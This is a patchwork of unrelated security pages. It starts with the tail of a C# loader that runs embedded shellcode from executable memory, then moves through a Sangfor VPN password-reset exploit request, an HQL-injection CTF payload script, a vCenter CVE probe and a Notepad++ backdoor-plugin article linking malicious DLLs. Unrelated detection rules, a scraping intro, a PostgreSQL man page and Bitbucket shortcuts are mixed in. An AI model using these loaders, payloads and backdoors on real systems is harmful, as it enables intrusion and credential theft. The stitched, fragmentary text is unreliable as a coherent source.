0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,xe5,
0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,xc9,
0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,xd5,
0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,x41,
0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,x31,
0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,xc8,
0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,xd5,
0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,x3c,
0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,x41,
0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,xd5 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32")]
private static extern IntPtr GetModuleHandle(
string moduleName
);
[DllImport("kernel32")]
private static extern UInt32 GetProcAddress(
IntPtr hModule,
string procName
);
[DllImport("kernel32")]
private static extern UInt32 LoadLibrary(
string lpFileName
);
[DllImport("kernel32")]
private static extern UInt32 GetLastError();
}
```
> Micropoor
|
sec-knowleage
|
# Data Science 1
Category: Data Science, 150 points
## Description
> Welcome to the Data Science for Cyber Defense Challenge!
>
> In this challenge you are presented with network logs of a mid-size organization. An anonymous source reported that the network has been compromised by not just one, but 4 different types of malware. Your objective is to analyze the logs and discover the infected endpoints.
>
> Each correct identification of endpoints that have been attacked by a given malware type will grant you a flag.
>
> All together there are 4 flags, corresponding to the 4 malware types.
>
>
> The network logs are given in the challenge.csv file which contains the following columns:
>
> * timestamp
> * src_ip
> * dst_ip
> * src_port
> * dst_port
> * protocol
> * payload
>
> Submission Guidelines
>
> Submission of suspected endpoints should be in the example submission_example.csv format below. Each submission should contain the endpoints infected by a single malware type. Note that a single endpoint may be infected by at most one malware type.
>
> Scoring
>
> The submission score is the maximal F1 score https://en.wikipedia.org/wiki/F-score corresponding to any of the four malware types, and is calculated as follows: drawing
>
> A minimal score of 0.8 is required in order to gain the flag which corresponds to the best-detected malware type.
>
> Can you gain all four flags?
## Solution:
### Introduction
In this challenge we need to find anomalies in the attached network traffic dump which indicate infected hosts.
Here's a sample from the network dump:
```console
root@kali:/media/sf_CTFs/shabak/DataScience# cat challenge.csv | head
timestamp,src_ip,dst_ip,src_port,dst_port,protocol,payload
2020-06-21 00:00:02.892702,120.18.164.170,120.18.53.84,2459,53,UDP,218
2020-06-21 00:00:03.771702,120.18.53.84,120.18.164.170,53,2459,UDP,285
2020-06-21 00:00:03.989702,120.18.164.170,148.26.83.117,2495,443,TCP,142
2020-06-21 00:00:04.547702,148.26.83.117,120.18.164.170,443,2495,TCP,130
2020-06-21 00:00:05.170953,120.18.187.161,120.18.63.42,3487,1993,TCP,69
2020-06-21 00:00:05.691953,120.18.63.42,120.18.187.161,1993,3487,TCP,243
2020-06-21 00:00:06.124702,120.18.164.170,148.26.83.117,2495,443,TCP,110
2020-06-21 00:00:07.230702,148.26.83.117,120.18.164.170,443,2495,TCP,277
2020-06-21 00:00:08.522702,120.18.164.170,148.26.83.117,2495,443,TCP,198
```
It's pretty long:
```console
root@kali:/media/sf_CTFs/shabak/DataScience# wc -l challenge.csv
24456694 challenge.csv
```
We found a great reference for these kind of challenges [here](https://www.kaggle.com/hawkcurry/data-analysis-for-network-security-101-solution), and our solutions are based on it with some modifications.
We'll use `pandas` for the challenge. The reference suggests starting with some basic preprocessing in order to make queries more efficient:
```python
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import gc
df = pd.read_csv(
'challenge.csv',
header = 0,
names= ["timestamp", "src_ip", "dst_ip", "src_port", "dst_port", "protocol", "payload"]
)
df['timestamp'] = pd.to_datetime(df.timestamp, format='%Y-%m-%d %H:%M:%S.%f')
df['hour'] = df.timestamp.dt.hour.astype('uint8')
df['minute'] = df.timestamp.dt.minute.astype('uint8')
df['src_port'] = df['src_port'].astype('uint16')
df['dst_port'] = df['dst_port'].astype('uint16')
df.head()
all_ips = set(df['src_ip'].unique()) | set(df['dst_ip'].unique())
print('Unique src:', df['src_ip'].nunique())
print('Unique dst:', df['dst_ip'].nunique())
print('Total Unique IPs:', len(all_ips))
ip_type = pd.CategoricalDtype(categories=all_ips)
df['src_ip'] = df['src_ip'].astype(ip_type)
df['dst_ip'] = df['dst_ip'].astype(ip_type)
gc.collect()
```
Output:
```
Unique src: 5497
Unique dst: 5497
Total Unique IPs: 5497
```
Nothing much here, just parsing some fields and setting up the source and destination IPs to categorical in order to save on memory.
Also, we'd like to identify the network prefix for our corporate network. Let's see which network prefixes are used most in the dump:
```python
def get_network_prefix(s):
return s.str.split(".").str[0]
df['src_network_prefix'] = get_network_prefix(df['src_ip'])
df.drop_duplicates("src_ip").groupby("src_network_prefix").size().sort_values(ascending=False)
```
Output:
```
src_network_prefix
120 523
142 38
131 32
100 30
7 30
...
170 11
213 11
8 10
193 10
95 9
Length: 254, dtype: int64
```
From here it looks like our `120` is by far the most common network prefix, we'll assume it belongs to our corporation. We can add some convenient attributes via:
```python
def is_internal(s):
return s.str.startswith('120.')
df['src_int'] = is_internal(df['src_ip'])
df['dst_int'] = is_internal(df['dst_ip'])
```
### Flag A
For the first flag, we'll check traffic outside work hours.
First, we need to identify work hours:
```python
df.groupby('hour').size()\
.plot.bar(title='Activity per hour')\
.set_ylabel('Connection counts').get_figure().savefig('hours.png')
```
Output:

It should be pretty clear from the graph that work hours are 06:00-23:00. So, let's see who are the most active external hosts outside work hours:
```python
df[df['src_int'] & ~df['dst_int'] & ((df['hour'] >= 0) & (df['hour'] < 6))]\
.groupby('dst_ip')\
.size()\
.pipe(lambda x: x[x > 0])\
.sort_values(ascending=False).reset_index()
```
Output:
```
dst_ip 0
0 148.26.83.117 3475
1 5.183.60.54 3467
2 251.139.203.226 355
3 250.42.245.153 330
4 8.8.8.8 279
5 234.8.152.205 218
6 55.107.247.62 51
7 24.161.197.98 34
8 198.70.42.36 12
9 15.254.213.206 5
10 80.213.210.227 1
11 65.64.19.34 1
12 21.91.160.44 1
13 112.146.59.67 1
14 242.138.45.182 1
```
We can see that that the number of requests to `148.26.83.117` and `5.183.60.54` is dramatically higher than the rest. So, let's gather up that hosts that made requests to these two hosts:
```python
df[df['src_int'] & ~df['dst_int'] & df['dst_ip'].isin(["148.26.83.117", "5.183.60.54"]) & ((df['hour'] >= 0) & (df['hour'] < 6))]\
.drop_duplicates("src_ip")["src_ip"]
```
Output:
```
2 120.18.164.170
31 120.18.213.107
65 120.18.192.121
186 120.18.206.150
220 120.18.120.241
240 120.18.118.50
318 120.18.104.36
398 120.18.216.242
432 120.18.48.222
480 120.18.18.124
498 120.18.45.124
521 120.18.26.88
592 120.18.57.96
797 120.18.162.115
963 120.18.143.87
996 120.18.182.116
1005 120.18.110.15
1119 120.18.66.102
1242 120.18.23.222
1335 120.18.71.37
1353 120.18.88.93
1506 120.18.159.247
1614 120.18.178.138
1629 120.18.143.73
1775 120.18.218.147
1777 120.18.132.135
1856 120.18.173.154
1902 120.18.168.250
2005 120.18.157.13
2318 120.18.103.76
2385 120.18.205.198
2406 120.18.96.34
2416 120.18.171.175
2433 120.18.55.138
2460 120.18.9.187
2852 120.18.207.47
2988 120.18.195.179
3105 120.18.251.35
3187 120.18.27.78
3281 120.18.235.29
3314 120.18.202.14
3481 120.18.156.202
Name: src_ip, dtype: category
Categories (5497, object): ['24.133.117.23', '138.62.106.170', '92.150.22.192', '209.69.254.129', ..., '173.119.192.16', '177.66.191.51', '178.195.62.138', '120.121.209.92']
```
We can export everything nicely to a CSV file according to the requested format:
```python
df[df['src_int'] & ~df['dst_int'] & df['dst_ip'].isin(["148.26.83.117", "5.183.60.54"]) & ((df['hour'] >= 0) & (df['hour'] < 6))]\
.drop_duplicates("src_ip")["src_ip"].to_csv("flag_a.csv", index = False, header = ["ip"])
```
Output:
```
ip
120.18.164.170
120.18.213.107
120.18.192.121
120.18.206.150
120.18.120.241
120.18.118.50
120.18.104.36
120.18.216.242
120.18.48.222
120.18.18.124
120.18.45.124
120.18.26.88
120.18.57.96
120.18.162.115
120.18.143.87
120.18.182.116
120.18.110.15
120.18.66.102
120.18.23.222
120.18.71.37
120.18.88.93
120.18.159.247
120.18.178.138
120.18.143.73
120.18.218.147
120.18.132.135
120.18.173.154
120.18.168.250
120.18.157.13
120.18.103.76
120.18.205.198
120.18.96.34
120.18.171.175
120.18.55.138
120.18.9.187
120.18.207.47
120.18.195.179
120.18.251.35
120.18.27.78
120.18.235.29
120.18.202.14
120.18.156.202
```
And we get our first flag:
```
Congratulations! You achieved the goal. Here is your flag:
flag{hsjhjskdhjkhdjksd673276327sb}
```
|
sec-knowleage
|
# T1190-CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
2021年02月24日,某些平台监测到 Vmware官方发布了vCenter Server安全更新,修复了vSphereClient (HTML5)在vCenter Server插件vRealizeOperations(vROps)中的一个远程代码执行漏洞(CVE-2021-21972)。VMware vCenter Server是美国威睿(VMware)公司的一套服务器和虚拟化管理软件。该软件提供了一个用于管理VMware vCenter环境的集中式平台,可自动实施和交付虚拟基础架构。攻击者可通过访问web管理端向vCenter Server发送请求从而在操作系统上执行任意命令或者上传一个webshell到vcenter服务器的任意位置执行
具有网络访问端口443的恶意行为者可能会利用此问题在托管vCenter Server的基础操作系统上以不受限制的特权执行命令。这会影响VMware vCenter Server(7.0 U1c之前的7.x,6.7 U3l之前的6.7和6.5 U3n之前的6.5)和VMware Cloud Foundation(4.2.3之前的4.x和3.10.1.2之前的3.x)。
此外,VMware还修复了VMware ESXi中一个重要的堆溢出漏洞(CVE-2021-21974)与VMware vSphere中的一个SSRF漏洞(CVE-2021-21973)。
### 0x1 影响版本
```yml
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG
```
### 0x2 漏洞详情
可参考:
CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞:<https://blog.csdn.net/weixin_43650289/article/details/114055417>
CVE-2021-21972 vCenter 远程命令执行漏洞分析:<https://cert.360.cn/report/detail?id=62aac9b181bcfcb2b5faf33c6907a3dc>
CVE-2021-21972-vCenter-6.5-7.0-RCE-POC:<https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py>
## 检测日志
HTTP.log,主要是基于POC报文进行检测,POC如下:
```python
import requests
from requests.packages import urllib3
urllib3.disable_warnings()
import argparse
import os
def url():
parser = argparse.ArgumentParser(description='vCenter 6.5-7.0 RCE 漏洞复现(CVE-2021-21972)POC')
parser.add_argument('target_url',type=str,help='The target address,example: https://192.168.140.153:4445')
args = parser.parse_args()
global url
url = args.target_url
if url.startswith('http://') or url.startswith('https://'):
pass
else:
print('[-]Please include http:// or https:// in the URL!!')
os._exit(0)
if url.endswith('/'):
url = url[:-1]
print('[+]author:chenchen')
print("[-]目标地址:",url)
print("[-]正在执行漏洞检测...")
return url
def poc():
headers={
'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36',
"Content-Type":"application/x-www-form-urlencoded"
}
url_v = url + '/ui/vropspluginui/rest/services/updateova'
try:
code = requests.get(url=url_v,headers=headers,timeout=4,verify=False).status_code
print('status_code:',code)
if code == 405:
print('[+]漏洞存在')
else:
print('[-]漏洞不存在')
except:
print('[-]发生错误')
if __name__ == '__main__':
url()
poc()
```
## 测试复现
可参考漏洞详情部分
## 检测规则/思路
### sigma规则
```yml
title: CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞
status: 测试状态
description: 基于HTTP日志进行检测
references:
- https://cert.360.cn/report/detail?id=62aac9b181bcfcb2b5faf33c6907a3dc
- https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py
logsource:
category: webserver #http_log
detection:
selection:
cs-method: 'POST' #请求方法为post
c-uri: #请求url中包含以下路径
- '/ui/vropspluginui/rest/services/uploadova'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- OVA uploads to your VSphere appliance
level: high
```
### 建议
建议使用HTTP流量+安全设备(如天眼等)进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞
<https://blog.csdn.net/weixin_43650289/article/details/114055417>
CVE-2021-21972 vCenter远程命令执行漏洞分析
<https://cert.360.cn/report/detail?id=62aac9b181bcfcb2b5faf33c6907a3dc>
CVE-2021-21972-vCenter-6.5-7.0-RCE-POC
<https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py>
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "UNLISTEN" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
UNLISTEN \- 停止监听通知信息
.SH SYNOPSIS
.sp
.nf
UNLISTEN { \fIname\fR | * }
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBUNLISTEN\fR 用于删除一个现有的已注册的 NOTIFY 事件。 UNLISTEN 取消当前 PostgreSQL 会话中的所有对通知条件 notifyname 监听。 特殊的条件通配符 * 则取消对当前会话的所有通知条件的监听。
.PP
NOTIFY [\fBnotify\fR(7)]
包含一些对 LISTEN 和 NOTIFY 的使用的更广泛的讨论。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
通知条件名称(任意标识符)。
.TP
\fB*\fR
所有此后端当前正在监听的注册都将被清除。
.SH "NOTES 注意"
.PP
如果你 UNLISTEN 一个你没有监听的事件,后端不会报错。
.PP
每个后端在退出时都会自动执行 UNLISTEN *。
.SH "EXAMPLES 例子"
.PP
注册一个:
.sp
.nf
LISTEN virtual;
NOTIFY virtual;
Asynchronous notification "virtual" received from server process with PID 8448.
.sp
.fi
.PP
一旦执行了 UNLISTEN,以后的 NOTIFY 命令将被忽略:
.sp
.nf
UNLISTEN virtual;
NOTIFY virtual;
-- no NOTIFY event is received
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
SQL 标准里没有 UNLISTEN。
.SH "SEE ALSO 参见"
LISTEN [\fBlisten\fR(7)], NOTIFY [\fBnotify\fR(l)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# T1133-001-深信服VPN任意密码重置
## 来自ATT&CK的描述
攻击者可能会利用面向外部的VPN服务来实现最初访问或网络内持久化。VPN服务使用户可以从外部位置连接到内部企业网络资源。
通常需要有效帐户才能使用该服务,这可以通过凭据篡改或在攻陷企业网络之后从用户那里获取凭据来获得。(引自:Volexity Virtual Private Keylogging) 在攻击者的操作过程中,对远程服务的访问可用作冗余或持久访问机制。
## 测试案例
已知影响范围M7.6.6R1、M7.6.1
## 检测日志
HTTP
## 测试复现
M7.6.6R1 key 为20181118
M7.6.1 key 为 20100720
<https://xxx/por/changepwd.csp>
## 测试留痕
```yml
POST /por/changepwd.csp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR_LEN
```
## 检测规则/思路
### Suricata规则
```s
alert http any any -> any any (msg:"深信服VPN任意密码重置";flow:established,to_server;content:"POST";http_method;content:"/por/changepwd.csp";http_uri;content:"sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR_LEN";http_client_body;reference:url,www.hacking8.com;classtype:web-application-attck;sid:3002012;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1133-001
<https://attack.mitre.org/techniques/T1133/001>
|
sec-knowleage
|
##HQLol (Web, 500p)
Plenty of hacker movies.
But table FLAG isn't mapped by HQL and you aren't an DB administrator.
Anyway, good luck!
###PL
[ENG](#eng-version)
W zadaniu dostajemy stronę napisaną w gradle która pozwala przeglądać listę filmów o hackerach oraz wyszukiwać filmy.
Ta ostatnia opcja jest wyjatkowo ciekawa ponieważ od razu widać, że wyszukiwarka jest podatna na SQL Injection, a dodatkowo wypisuje logi błędu oraz stacktrace.
Zapytania do bazy wykonywane są poprzez Hibernate, a baza to H2.
Użycie Hibernate oraz HQL wyklucza możliwość wykonania `union select`, niemniej cały czas możemy wykonywać podzapytania.
Ponieważ widzimy logi błędów, możemy w warunku `where` wykonywać niepoprawne rzutowania (np. stringa na inta) i w ten sposób odczytywać wartości.
Dodatkowo jak wynika z treści zadania tabela z flagą nie jest zmapowana przez Hibernate, więc jakakolwiek próba wykonania zapytania dla tabeli `flag` skończy się błędem `flag table is not mapped by Hibernate`.
Treść zadania informuje nas także, że nie jesteśmy administratorem, więc nie możemy skorzystać z funkcji `file_read()` udostępnianej przez bazę H2.
Po długiej analizie obu potencjalnych wektorów ataku - bazy H2 oraz Hibernate trafiliśmy wreszcie na interesujące zachowanie lexera/parsera HQL - nie rozpoznaje on poprawnie `non-breaking-space` w efekcie użycie takiego symbolu jest traktowane jak zwykły symbol.
Oznacza to, że `XXnon-breaking-spaceXX` zostanie potraktowane przez parser jako jedno słowo, podczas gdy baza danych potraktuje to jako dwa słowa przedzielone spacją.
Dzięki temu wysłanie ciągu `selectXflagXfromXflag` gdzie przez `X` oznaczamy non-breaking-space nie zostanie przez parser HQL zinterpretowane jako podzapytanie i nie dostaniemy błędu `table flag is not mapped`, a jednocześnie baza H2 poprawnie zinterpretuje ten ciąg jako podzapytanie.
Do pobrania konkretnej wartości wykorzystaliśmy niepoprawne rzutowanie wartości z tabeli `flag` i flagę odczytaliśmy z logu błędu.
Skrypt rozwiązujący zadanie:
```python
import requests
from bs4 import BeautifulSoup
val = u'\u00A0'
payload = u"' and (cast(concat('->', (selectXflagXfromXflagXlimitX1)) as int))=0 or ''='"
quoted = requests.utils.quote(payload)
quoted = quoted.replace('X', val)
response = requests.get('http://52.91.163.151:8080/movie/search?query=' + quoted)
soup = BeautifulSoup(response.text)
x = soup.find('dl', class_='error-details')
if x:
print x
else:
print response.text
```
###ENG version
In the task we get a webpage writen in gradle, which allows us to browse hacker movies and search them.
This last option is interesting since it's clear that there is a SQL Injection vulnerability there, and also because it prints out the whole error messages with stacktraces.
Database queries are handled by Hibernate and the database is H2.
Hibernate and HQL restricts us a little bit, because we can't use `union select`, however we can still execute subqueries.
Since we can see error logs we can perform incorrect casts in `where` condition (eg. string to int) and read the value from error message.
Additionally the task description states that the table with flag is not mapped by Hibernate, so any attempt to query this table will end up with `flag table is not mapped by Hibernate`.
The task description also informs us that we're not admin so we can't use `file_read()` function from H2 database.
After a long analysis of potential attack vectors - H2 database and Hibernate, we finally found an interesting behaviour of HQL parser - it does not handle non-breaking-spaces correctly, and therefore this symbol is treated as a normal character and not as whitespace.
This means that `XXnon-breaking-spaceXX` will be treated by parser as a single word, while the database will treat this as 2 words separated by a space.
Thanks to that, sending `selectXflagXfromXflag`, where `X` is the non-breaking-space, will not be recognized by HQL parser as subquery and thus we won't see `table flag is not mapped` error, but the database itself will recognize this as a subquery.
In order to get value from table we used the incorrect cast of the value from `flag` table and the result could be seen in errorlog.
Script to solve this task:
```python
import requests
from bs4 import BeautifulSoup
val = u'\u00A0'
payload = u"' and (cast(concat('->', (selectXflagXfromXflagXlimitX1)) as int))=0 or ''='"
quoted = requests.utils.quote(payload)
quoted = quoted.replace('X', val)
response = requests.get('http://52.91.163.151:8080/movie/search?query=' + quoted)
soup = BeautifulSoup(response.text)
x = soup.find('dl', class_='error-details')
if x:
print x
else:
print response.text
```
|
sec-knowleage
|
* 本季是作《php安全新闻早八点-高级持续渗透-第一季关于后门》的补充。
* https://micropoor.blogspot.com/2017/12/php.html
在第一季关于后门中,文章提到重新编译notepad++,来引入有目标源码后门构造。本季继续以notepad++作为demo,而本季引入无目标源码构造notepad++ backdoor。
针对服务器,或者个人PC,安装着大量的notepad++,尤其是在实战中的办公域,或者运维机等,而这些机器的权限把控尤为重要。
该系列仅做后门思路。
Demo 环境:
* Windows 2003 x64
* Windows 7 x64
* notepad++ 7.6.1
* vs 2017
遵守第一季的原则,demo未做任何对抗安全软件,并且demo并不符合实战要求。仅提出思路。**由于demo并未做任何免杀处理。导致反病毒软件报毒。如有测试,建议在虚拟机中进行测试。**
Windows 2003: ip 192.168.1.119

**开放端口:**

notepad++版本:

导入dll插件:

notepad++ v7.6.x以上版本提示,后重新打开notepad++,来触发payload。

开放端口变化如下:

msf连接:


**后者的话:**
demo借助了notepad++的证书,在通过notepad++来调用自身。本季的demo并不符合实战要求。在实战中,当目标人启动notepad++时,或者抓取密码发送到指定邮箱,或者在做一次调起第四方后门等,这是每一位信息安全从业人员应该考虑的问题。
关于后门,无论是第一季还是最六季,都侧面的强调了shellcode的分离免杀,后
门”多链”的调用触发。同样,攻击分离,加大防御者的查杀成本,溯源成本,以及时间成本。给攻击者争取最宝贵的时间。
PS:
关于mimikatz的分离免杀参考上一季《体系的本质是知识点串联》,
https://micropoor.blogspot.com/2018/12/blog-post.html。
本demo 不支持notepad++ v7.6版本。因为此问题为notepad++官方bug。7.6.1更新如下:

**为此调试整整一天。才发现为官方bug。**
Demo for dll:
**由于demo并未做任何免杀处理。导致反病毒软件报毒。如有测试,建议在虚拟机中进行测试。demo仅做开放443端口。等待主机连接。**
> **HTMLTags_x32.dll**
大小: 73728 字节文件版本: 1.4.1.0
修改时间: 2018年12月31日, 18:51:20
MD5: FDF30DD5494B7F8C61420C6245E79BFE
SHA1: D23B21C83A9588CDBAD81E42B130AFE3EDB53EBB CRC32: D06C6BD1
https://drive.google.com/open?id=1_sFKMWi6Zuy1_v82Ro1wZR8OrqKr7GD4
> **HTMLTags_x64.dll**
大小: 88064 字节文件版本: 1.4.1.0
修改时间: 2018年12月31日, 18:51:09
MD5: D7355FF1E9D158B6F917BD63159F4D86
SHA1: 9E6BC1501375FFBC05A8E20B99DC032C43996EA3 CRC32: 606E5280
https://drive.google.com/open?id=1JwmW8KrxYoQ1Dk_VNtnDs0MxM6tuqCs\_
> Micropoor
|
sec-knowleage
|
.TH SETCLOCK 8 "1996年11月12日 sun"
.UC 4
.SH NAME
\fBsetclock \- 用系统时间来设置硬件时间 \fR
.SH 总览
\fBsetclock\fR
.SH 描述
\fBsetclock\fR 用当前系统时钟存储的时间设置系统的硬件时间.
它先读取 \fI/etc/sysconfig/clock\fR 的时间格式, 时间存储前应该转化成这种格式.
Red Hat 的标准启动脚本和 \fBtimeconfig(8)\fR 也是用的这种方法 .
.SH 相关文件
.PD 0
.TP 25
\fI/etc/sysconfig/clock\fR
用来配置时间的格式.
.PD
.SH "另见"
.BR clock (8),
.BR timeconfig (8)
.SH 作者
.nf
Erik Troan <ewt@redhat.com>
.fi
|
sec-knowleage
|
# Nuit du Hack CTF Quals 2018
Team: shalom, akrasuski1, chivay, nazywam, Eternal, rev, c7f.m0d3
### Table of contents
* [BaseX (pwn)](basex)
* [rescue-shell (pwn)](rescue-shell)
* [shreddinger (ppc)](shreddinger)
* [AssemblyMe (re)](re_assembly)
* [LinkedOut (web)](web_linkedout)
* [PixEditor (web)](web_pixeditor)
* [Where is my purse (for)](for_purse)
* [Cryptolol (crypto/web)](Cryptolol)
|
sec-knowleage
|
# 爬虫
---
**爬虫的本质是什么?**
模拟浏览器打开网页,获取网页中我们想要的那部分数据
浏览器打开网页的过程: 当你在浏览器中输入地址后,经过 DNS 服务器找到服务器主机,向服务器发送一个请求,服务器经过解析后发送给用户浏览器结果,包括 html,js,css 等文件内容,浏览器解析出来最后呈现给用户在浏览器上看到的结果
所以用户看到的浏览器的结果就是由 HTML 代码构成的,我们爬虫就是为了获取这些内容,通过分析和过滤 html 代码,从中获取我们想要资源(文本,图片,视频.....)
**爬虫的基本流程**
- 发起请求
通过HTTP库向目标站点发起请求,也就是发送一个 Request,请求可以包含额外的 header 等信息,等待服务器响应
- 获取响应内容
如果服务器能正常响应,会得到一个 Response,Response 的内容便是所要获取的页面内容,类型可能是 HTML,Json 字符串,二进制数据(图片或者视频)等类型
- 解析内容
得到的内容可能是 HTML,可以用正则表达式,页面解析库进行解析,可能是 Json,可以直接转换为 Json 对象解析,可能是二进制数据,可以做保存或者进一步的处理
- 保存数据
保存形式多样,可以存为文本,也可以保存到数据库,或者保存特定格式的文件
**能爬取什么样的数据**
- 网页文本:如 HTML 文档,Json 格式化文本等
- 图片:获取到的是二进制文件,保存为图片格式
- 视频:同样是二进制文件
- 其他:只要请求到的,都可以获取
**如何解析数据**
- 直接处理
- Json 解析
- 正则表达式处理
- BeautifulSoup 解析处理
- PyQuery 解析处理
- XPath 解析处理
**关于抓取的页面数据和浏览器里看到的不一样的问题**
出现这种情况是因为,很多网站中的数据都是通过 js,ajax 动态加载的,所以直接通过 get 请求获取的页面和浏览器显示的不同。
**如何解决 js 渲染的问题?**
- 分析 ajax
- Selenium/webdriver
- Splash
- PyV8, Ghost.py
**怎样保存数据**
- 文本 :纯文本,Json,Xml 等
- 关系型数据库 :如 mysql,oracle,sql server 等结构化数据库
- 非关系型数据库 :MongoDB,Redis 等 key-value 形式存储
---
# Scrapy
- https://github.com/scrapy/scrapy
Scrapy 是一套基于基于 Twisted 的异步处理框架,纯 python 实现的爬虫框架,用户只需要定制开发几个模块就可以轻松的实现一个爬虫,用来抓取网页内容以及各种图片,非常之方便
**安装**
```bash
pip install scrapy
```
**示例代码**
```python
import scrapy
class BlogSpider(scrapy.Spider):
name = 'blogspider'
start_urls = ['https://blog.scrapinghub.com']
def parse(self, response):
for title in response.css('h2.entry-title'):
yield {'title': title.css('a ::text').extract_first()}
next_page = response.css('div.prev-post > a ::attr(href)').extract_first()
if next_page:
yield scrapy.Request(response.urljoin(next_page), callback=self.parse)
```
**运行**
```bash
scrapy runspider spider.py
```
|
sec-knowleage
|
---
title: Bitbucket
date: 2022-11-23 16:23:31.699805
background: bg-[#4382f7]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 35 keyboard shortcuts found on Bitbucket
---
Keyboard Shortcuts
------------------
### All pages
Shortcut | Action
---|---
`?` | Display keyboard shortcuts
`[` | Expand and collapse left navigation
`/` | Focus the site search
{.shortcuts}
### Most pages (except Your Work and Source)
Shortcut | Action
---|---
`.` | Open the Omnibar
`J` | Select next item
`K` | Select previous item
`Enter` | View selected item
`G` `D` | Go to Your Work dashboard
